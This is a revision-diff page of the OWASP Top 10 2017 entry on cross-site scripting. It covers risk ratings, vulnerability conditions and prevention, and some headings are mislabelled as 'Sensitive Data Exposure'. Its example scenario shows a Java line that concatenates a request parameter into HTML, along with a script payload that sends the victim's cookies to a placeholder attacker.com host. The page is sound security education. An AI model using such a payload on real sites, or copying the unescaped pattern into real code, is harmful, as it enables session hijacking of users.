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Difference between revisions of "Top 10-2017 A7-Cross-Site Scripting (XSS)"
m (Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.) |
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You are vulnerable to <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Ideally, you would avoid sending attacker-controllable data to <u>[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]</u>, but escaping (and to a lesser extent) input validation can be used to make this safe. | You are vulnerable to <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Ideally, you would avoid sending attacker-controllable data to <u>[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]</u>, but escaping (and to a lesser extent) input validation can be used to make this safe. | ||
| − | Automated tools can find some XSS | + | Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests. |
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}} | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}} | ||
Preventing XSS requires separation of untrusted data from active browser content. | Preventing XSS requires separation of untrusted data from active browser content. | ||
Revision as of 19:31, 31 May 2017
| Threat Agents / Attack Vectors | Security Weakness | Impacts | |||
|---|---|---|---|---|---|
| App Specific | Exploitability AVERAGE |
Prevalence VERY WIDESPREAD |
Detectability AVERAGE |
Impact MODERATE |
Business ? |
|
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators. |
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. |
XSS flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) Stored and (2) Reflected, and each of these can occur on the a) Server or b) on the Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify. |
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. |
Consider the business value of the affected system and all the data it processes.
Also consider the business impact of public exposure of the vulnerability. |
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Am I Vulnerable To 'Sensitive Data Exposure'?
You are vulnerable to Server XSS if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have Client XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs, but escaping (and to a lesser extent) input validation can be used to make this safe. Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests. |
How Do I Prevent 'Sensitive Data Exposure'?
Preventing XSS requires separation of untrusted data from active browser content.
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Example Attack Scenarios
The application generating response in (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; The attacker manipulates the `CC' parameter to the following value '><script>document.location='http://www.attacker.com/log?cookies='+encodeURIComponent(document.cookie)</script><foobar p=' in the query string and sends the resulting link <input name='creditcard' type='TEXT' value=''><script>document.location='http://www.attacker.com/log?cookies='+encodeURIComponent(document.cookie)</script><foobar p=''> This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for info on CSRF. |
References
OWASP
External |
